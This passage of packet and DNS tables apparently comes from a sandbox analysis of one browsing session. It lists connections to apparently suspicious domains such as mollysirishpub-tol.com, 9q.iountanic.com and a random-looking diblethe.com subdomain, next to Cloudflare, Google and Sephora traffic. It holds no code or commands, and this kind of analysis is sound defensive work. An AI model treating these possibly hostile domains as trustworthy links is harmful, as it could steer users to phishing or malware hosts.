Oct 11, 2024 15:54:58.827157021 CEST	443	49767	142.250.186.68	192.168.2.17
Oct 11, 2024 15:54:58.827270031 CEST	49767	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:54:59.623743057 CEST	49767	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:54:59.623814106 CEST	443	49767	142.250.186.68	192.168.2.17
Oct 11, 2024 15:55:06.206779003 CEST	443	49754	99.86.4.116	192.168.2.17
Oct 11, 2024 15:55:06.206886053 CEST	443	49754	99.86.4.116	192.168.2.17
Oct 11, 2024 15:55:06.206896067 CEST	443	49758	18.245.86.4	192.168.2.17
Oct 11, 2024 15:55:06.206948042 CEST	49754	443	192.168.2.17	99.86.4.116
Oct 11, 2024 15:55:06.207077026 CEST	443	49758	18.245.86.4	192.168.2.17
Oct 11, 2024 15:55:06.207142115 CEST	49758	443	192.168.2.17	18.245.86.4
Oct 11, 2024 15:55:06.207421064 CEST	443	49756	52.222.236.22	192.168.2.17
Oct 11, 2024 15:55:06.207484961 CEST	443	49756	52.222.236.22	192.168.2.17
Oct 11, 2024 15:55:06.207545996 CEST	49756	443	192.168.2.17	52.222.236.22
Oct 11, 2024 15:55:07.633083105 CEST	49754	443	192.168.2.17	99.86.4.116
Oct 11, 2024 15:55:07.633125067 CEST	443	49754	99.86.4.116	192.168.2.17
Oct 11, 2024 15:55:07.633136034 CEST	49758	443	192.168.2.17	18.245.86.4
Oct 11, 2024 15:55:07.633156061 CEST	49756	443	192.168.2.17	52.222.236.22
Oct 11, 2024 15:55:07.633203983 CEST	443	49758	18.245.86.4	192.168.2.17
Oct 11, 2024 15:55:07.633224010 CEST	443	49756	52.222.236.22	192.168.2.17
Oct 11, 2024 15:55:20.988915920 CEST	49757	443	192.168.2.17	35.190.19.88
Oct 11, 2024 15:55:20.988960981 CEST	443	49757	35.190.19.88	192.168.2.17
Oct 11, 2024 15:55:21.179996014 CEST	49762	443	192.168.2.17	54.77.0.81
Oct 11, 2024 15:55:21.180056095 CEST	443	49762	54.77.0.81	192.168.2.17
Oct 11, 2024 15:55:36.022653103 CEST	443	49762	54.77.0.81	192.168.2.17
Oct 11, 2024 15:55:36.022824049 CEST	443	49762	54.77.0.81	192.168.2.17
Oct 11, 2024 15:55:36.022905111 CEST	49762	443	192.168.2.17	54.77.0.81
Oct 11, 2024 15:55:37.632589102 CEST	49757	443	192.168.2.17	35.190.19.88
Oct 11, 2024 15:55:37.632649899 CEST	49762	443	192.168.2.17	54.77.0.81
Oct 11, 2024 15:55:37.632699966 CEST	443	49762	54.77.0.81	192.168.2.17
Oct 11, 2024 15:55:37.632714987 CEST	443	49757	35.190.19.88	192.168.2.17
Oct 11, 2024 15:55:37.632870913 CEST	49757	443	192.168.2.17	35.190.19.88
Oct 11, 2024 15:55:48.304074049 CEST	49769	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:55:48.304176092 CEST	443	49769	142.250.186.68	192.168.2.17
Oct 11, 2024 15:55:48.305459023 CEST	49769	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:55:48.305798054 CEST	49769	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:55:48.305836916 CEST	443	49769	142.250.186.68	192.168.2.17
Oct 11, 2024 15:55:48.935544968 CEST	443	49769	142.250.186.68	192.168.2.17
Oct 11, 2024 15:55:48.938606024 CEST	49769	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:55:48.938635111 CEST	443	49769	142.250.186.68	192.168.2.17
Oct 11, 2024 15:55:48.939027071 CEST	443	49769	142.250.186.68	192.168.2.17
Oct 11, 2024 15:55:48.939433098 CEST	49769	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:55:48.939503908 CEST	443	49769	142.250.186.68	192.168.2.17
Oct 11, 2024 15:55:48.990977049 CEST	49769	443	192.168.2.17	142.250.186.68

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 15:53:43.381485939 CEST	53	57556	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:43.459762096 CEST	53	58821	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:43.506942034 CEST	61164	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:43.507420063 CEST	60958	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:43.520976067 CEST	53	61164	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:43.546946049 CEST	53	60958	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:44.205171108 CEST	55821	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:44.205363989 CEST	51124	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:44.207365036 CEST	57858	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:44.207593918 CEST	50624	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:44.212740898 CEST	53	51124	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:44.212754011 CEST	53	55821	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:44.220438957 CEST	53	50624	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:44.221338987 CEST	53	57858	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:44.444904089 CEST	53	54183	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:45.007502079 CEST	49986	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:45.007673979 CEST	64161	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:45.017803907 CEST	53	49986	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:45.018831015 CEST	53	64161	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:45.111291885 CEST	57332	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:45.111493111 CEST	61638	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:45.125525951 CEST	53	61638	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:45.134531021 CEST	53	57332	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:46.758397102 CEST	52194	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:46.758719921 CEST	63421	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:46.759598017 CEST	52786	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:46.759797096 CEST	57071	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:46.760166883 CEST	58055	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:46.760385990 CEST	49282	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:46.766005039 CEST	53	52194	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:46.766019106 CEST	53	63421	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:46.767591953 CEST	53	57071	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:46.767604113 CEST	53	58055	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:46.768055916 CEST	53	52786	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:46.768065929 CEST	53	49282	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:47.519773006 CEST	53050	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:47.519908905 CEST	49858	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:47.527410030 CEST	53	53050	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:47.528192997 CEST	53	49858	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:48.080595016 CEST	49793	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:48.080822945 CEST	54538	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:48.088315010 CEST	53	49793	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:48.089334965 CEST	53	54538	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:48.092734098 CEST	57208	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:48.092901945 CEST	65523	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:48.102075100 CEST	53	65523	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:48.102181911 CEST	53	57208	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:48.188447952 CEST	65485	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:48.188731909 CEST	58547	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:48.195285082 CEST	53	65485	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:48.196142912 CEST	53	58547	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:49.754492998 CEST	55389	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:49.754636049 CEST	59891	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:53:49.762943983 CEST	53	55389	1.1.1.1	192.168.2.17
Oct 11, 2024 15:53:49.762958050 CEST	53	59891	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:01.360739946 CEST	53	53222	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:20.340682030 CEST	53	55398	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:33.046766043 CEST	65029	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:33.046890974 CEST	56333	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:33.085277081 CEST	53	65029	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:33.237520933 CEST	53	56333	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:34.338116884 CEST	58601	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:34.338402033 CEST	52763	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:34.340847015 CEST	49669	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:34.340950012 CEST	51440	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:34.358535051 CEST	53	49669	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:34.378729105 CEST	53	51440	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.438141108 CEST	49495	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.438585043 CEST	61639	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.439173937 CEST	60655	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.439476013 CEST	51805	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.445415020 CEST	53	49495	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.445652962 CEST	53	61639	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.446105957 CEST	53	60655	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.446785927 CEST	53	51805	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.447499990 CEST	51266	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.447954893 CEST	51565	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.448709965 CEST	57899	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.448854923 CEST	65470	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.451281071 CEST	61369	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.451493979 CEST	51806	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.452167988 CEST	56058	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.452343941 CEST	60773	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.458415031 CEST	53	61369	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.458805084 CEST	53	51806	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.459357977 CEST	53	56058	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.459533930 CEST	53	60773	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.460871935 CEST	60751	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.460997105 CEST	63200	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.461405039 CEST	55893	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.461555958 CEST	54018	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.465120077 CEST	53	51565	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.465657949 CEST	53	51266	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.470041990 CEST	64175	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.470077991 CEST	63761	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:35.491782904 CEST	53	64175	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.494709969 CEST	53	63761	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.527288914 CEST	53	57899	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:35.820624113 CEST	53	65470	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:36.712069988 CEST	63618	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:36.712310076 CEST	59523	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:36.797081947 CEST	53	63618	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:36.921730042 CEST	53	59523	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:37.133873940 CEST	58925	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:37.134057999 CEST	49588	53	192.168.2.17	1.1.1.1
Oct 11, 2024 15:54:42.867825031 CEST	53	62738	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:43.365092993 CEST	53	57999	1.1.1.1	192.168.2.17
Oct 11, 2024 15:54:58.846786976 CEST	138	138	192.168.2.17	192.168.2.255
Oct 11, 2024 15:55:12.351083040 CEST	53	49962	1.1.1.1	192.168.2.17

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 11, 2024 15:53:43.547039032 CEST	192.168.2.17	1.1.1.1	c23d	(Port unreachable)	Destination Unreachable
Oct 11, 2024 15:54:33.237643957 CEST	192.168.2.17	1.1.1.1	c2b7	(Port unreachable)	Destination Unreachable
Oct 11, 2024 15:54:34.378879070 CEST	192.168.2.17	1.1.1.1	c2b7	(Port unreachable)	Destination Unreachable
Oct 11, 2024 15:54:35.820760012 CEST	192.168.2.17	1.1.1.1	c28e	(Port unreachable)	Destination Unreachable
Oct 11, 2024 15:54:36.921864033 CEST	192.168.2.17	1.1.1.1	c28e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 11, 2024 15:53:43.506942034 CEST	192.168.2.17	1.1.1.1	0xb80	Standard query (0)	mollysirishpub-tol.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:43.507420063 CEST	192.168.2.17	1.1.1.1	0x5182	Standard query (0)	mollysirishpub-tol.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:44.205171108 CEST	192.168.2.17	1.1.1.1	0x1e28	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:44.205363989 CEST	192.168.2.17	1.1.1.1	0xca11	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:44.207365036 CEST	192.168.2.17	1.1.1.1	0x8bdd	Standard query (0)	mollysirishpub-tol.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:44.207593918 CEST	192.168.2.17	1.1.1.1	0x4a4a	Standard query (0)	mollysirishpub-tol.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:45.007502079 CEST	192.168.2.17	1.1.1.1	0xc3cc	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:45.007673979 CEST	192.168.2.17	1.1.1.1	0x7e08	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:45.111291885 CEST	192.168.2.17	1.1.1.1	0xb470	Standard query (0)	9q.iountanic.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:45.111493111 CEST	192.168.2.17	1.1.1.1	0x8800	Standard query (0)	9q.iountanic.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:46.758397102 CEST	192.168.2.17	1.1.1.1	0x2b08	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.758719921 CEST	192.168.2.17	1.1.1.1	0xcab8	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:46.759598017 CEST	192.168.2.17	1.1.1.1	0x428a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.759797096 CEST	192.168.2.17	1.1.1.1	0x660b	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:46.760166883 CEST	192.168.2.17	1.1.1.1	0x5eab	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.760385990 CEST	192.168.2.17	1.1.1.1	0x6566	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:47.519773006 CEST	192.168.2.17	1.1.1.1	0xa02	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:47.519908905 CEST	192.168.2.17	1.1.1.1	0x51f4	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:48.080595016 CEST	192.168.2.17	1.1.1.1	0x7045	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:48.080822945 CEST	192.168.2.17	1.1.1.1	0xf421	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:48.092734098 CEST	192.168.2.17	1.1.1.1	0x9e9b	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:48.092901945 CEST	192.168.2.17	1.1.1.1	0xdccc	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:48.188447952 CEST	192.168.2.17	1.1.1.1	0x4dbf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:48.188731909 CEST	192.168.2.17	1.1.1.1	0xe873	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 11, 2024 15:53:49.754492998 CEST	192.168.2.17	1.1.1.1	0x74cc	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:49.754636049 CEST	192.168.2.17	1.1.1.1	0x77	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:33.046766043 CEST	192.168.2.17	1.1.1.1	0xdc06	Standard query (0)	ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:33.046890974 CEST	192.168.2.17	1.1.1.1	0xbdd3	Standard query (0)	ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:34.338116884 CEST	192.168.2.17	1.1.1.1	0x3719	Standard query (0)	www.sephora.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:34.338402033 CEST	192.168.2.17	1.1.1.1	0x7fec	Standard query (0)	www.sephora.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:34.340847015 CEST	192.168.2.17	1.1.1.1	0xce20	Standard query (0)	ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:34.340950012 CEST	192.168.2.17	1.1.1.1	0x4a52	Standard query (0)	ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:35.438141108 CEST	192.168.2.17	1.1.1.1	0x70fc	Standard query (0)	cnstrc.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:35.438585043 CEST	192.168.2.17	1.1.1.1	0x69c8	Standard query (0)	cnstrc.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:35.439173937 CEST	192.168.2.17	1.1.1.1	0x5897	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:35.439476013 CEST	192.168.2.17	1.1.1.1	0x1469	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:35.447499990 CEST	192.168.2.17	1.1.1.1	0xe0e4	Standard query (0)	e309da9b9aaf.cdn4.forter.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:35.447954893 CEST	192.168.2.17	1.1.1.1	0x8b0e	Standard query (0)	e309da9b9aaf.cdn4.forter.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:35.448709965 CEST	192.168.2.17	1.1.1.1	0x84de	Standard query (0)	community.sephora.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:35.448854923 CEST	192.168.2.17	1.1.1.1	0xaf9a	Standard query (0)	community.sephora.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:35.451281071 CEST	192.168.2.17	1.1.1.1	0xd380	Standard query (0)	js-cdn.dynatrace.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:35.451493979 CEST	192.168.2.17	1.1.1.1	0x8e07	Standard query (0)	js-cdn.dynatrace.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:35.452167988 CEST	192.168.2.17	1.1.1.1	0x66b8	Standard query (0)	api.bluecore.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:35.452343941 CEST	192.168.2.17	1.1.1.1	0xce6d	Standard query (0)	api.bluecore.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:35.460871935 CEST	192.168.2.17	1.1.1.1	0xe8f8	Standard query (0)	sephora-track.inside-graph.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:35.460997105 CEST	192.168.2.17	1.1.1.1	0xc9a4	Standard query (0)	sephora-track.inside-graph.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:35.461405039 CEST	192.168.2.17	1.1.1.1	0xe079	Standard query (0)	assets.adobedtm.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:35.461555958 CEST	192.168.2.17	1.1.1.1	0xd52b	Standard query (0)	assets.adobedtm.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:35.470041990 CEST	192.168.2.17	1.1.1.1	0x4838	Standard query (0)	sephora.demdex.net	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:35.470077991 CEST	192.168.2.17	1.1.1.1	0x61fe	Standard query (0)	sephora.demdex.net	65	IN (0x0001)	false
Oct 11, 2024 15:54:36.712069988 CEST	192.168.2.17	1.1.1.1	0x15f5	Standard query (0)	community.sephora.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:36.712310076 CEST	192.168.2.17	1.1.1.1	0x9649	Standard query (0)	community.sephora.com	65	IN (0x0001)	false
Oct 11, 2024 15:54:37.133873940 CEST	192.168.2.17	1.1.1.1	0x54c0	Standard query (0)	www.sephora.com	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:37.134057999 CEST	192.168.2.17	1.1.1.1	0x9158	Standard query (0)	www.sephora.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 11, 2024 15:53:43.520976067 CEST	1.1.1.1	192.168.2.17	0xb80	No error (0)	mollysirishpub-tol.com		69.49.245.172	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:44.212740898 CEST	1.1.1.1	192.168.2.17	0xca11	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 11, 2024 15:53:44.212754011 CEST	1.1.1.1	192.168.2.17	0x1e28	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:44.212754011 CEST	1.1.1.1	192.168.2.17	0x1e28	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:44.221338987 CEST	1.1.1.1	192.168.2.17	0x8bdd	No error (0)	mollysirishpub-tol.com		69.49.245.172	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:45.017803907 CEST	1.1.1.1	192.168.2.17	0xc3cc	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:45.017803907 CEST	1.1.1.1	192.168.2.17	0xc3cc	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:45.018831015 CEST	1.1.1.1	192.168.2.17	0x7e08	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 11, 2024 15:53:45.125525951 CEST	1.1.1.1	192.168.2.17	0x8800	No error (0)	9q.iountanic.com			65	IN (0x0001)	false
Oct 11, 2024 15:53:45.134531021 CEST	1.1.1.1	192.168.2.17	0xb470	No error (0)	9q.iountanic.com		104.21.68.104	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:45.134531021 CEST	1.1.1.1	192.168.2.17	0xb470	No error (0)	9q.iountanic.com		172.67.194.69	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.766005039 CEST	1.1.1.1	192.168.2.17	0x2b08	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.766005039 CEST	1.1.1.1	192.168.2.17	0x2b08	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.766005039 CEST	1.1.1.1	192.168.2.17	0x2b08	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.766005039 CEST	1.1.1.1	192.168.2.17	0x2b08	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.767591953 CEST	1.1.1.1	192.168.2.17	0x660b	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 11, 2024 15:53:46.767604113 CEST	1.1.1.1	192.168.2.17	0x5eab	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.767604113 CEST	1.1.1.1	192.168.2.17	0x5eab	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.768055916 CEST	1.1.1.1	192.168.2.17	0x428a	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.768055916 CEST	1.1.1.1	192.168.2.17	0x428a	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:46.768065929 CEST	1.1.1.1	192.168.2.17	0x6566	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 11, 2024 15:53:47.527410030 CEST	1.1.1.1	192.168.2.17	0xa02	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:47.527410030 CEST	1.1.1.1	192.168.2.17	0xa02	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:47.527410030 CEST	1.1.1.1	192.168.2.17	0xa02	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:47.527410030 CEST	1.1.1.1	192.168.2.17	0xa02	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:48.088315010 CEST	1.1.1.1	192.168.2.17	0x7045	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:48.088315010 CEST	1.1.1.1	192.168.2.17	0x7045	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:48.089334965 CEST	1.1.1.1	192.168.2.17	0xf421	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 11, 2024 15:53:48.102075100 CEST	1.1.1.1	192.168.2.17	0xdccc	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 11, 2024 15:53:48.102181911 CEST	1.1.1.1	192.168.2.17	0x9e9b	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:48.102181911 CEST	1.1.1.1	192.168.2.17	0x9e9b	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:48.195285082 CEST	1.1.1.1	192.168.2.17	0x4dbf	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:53:48.196142912 CEST	1.1.1.1	192.168.2.17	0xe873	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 11, 2024 15:53:49.762943983 CEST	1.1.1.1	192.168.2.17	0x74cc	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:33.085277081 CEST	1.1.1.1	192.168.2.17	0xdc06	No error (0)	ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 11, 2024 15:54:33.085277081 CEST	1.1.1.1	192.168.2.17	0xdc06	No error (0)	ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com		188.114.96.3	A (IP address)	IN (0x0001)	false
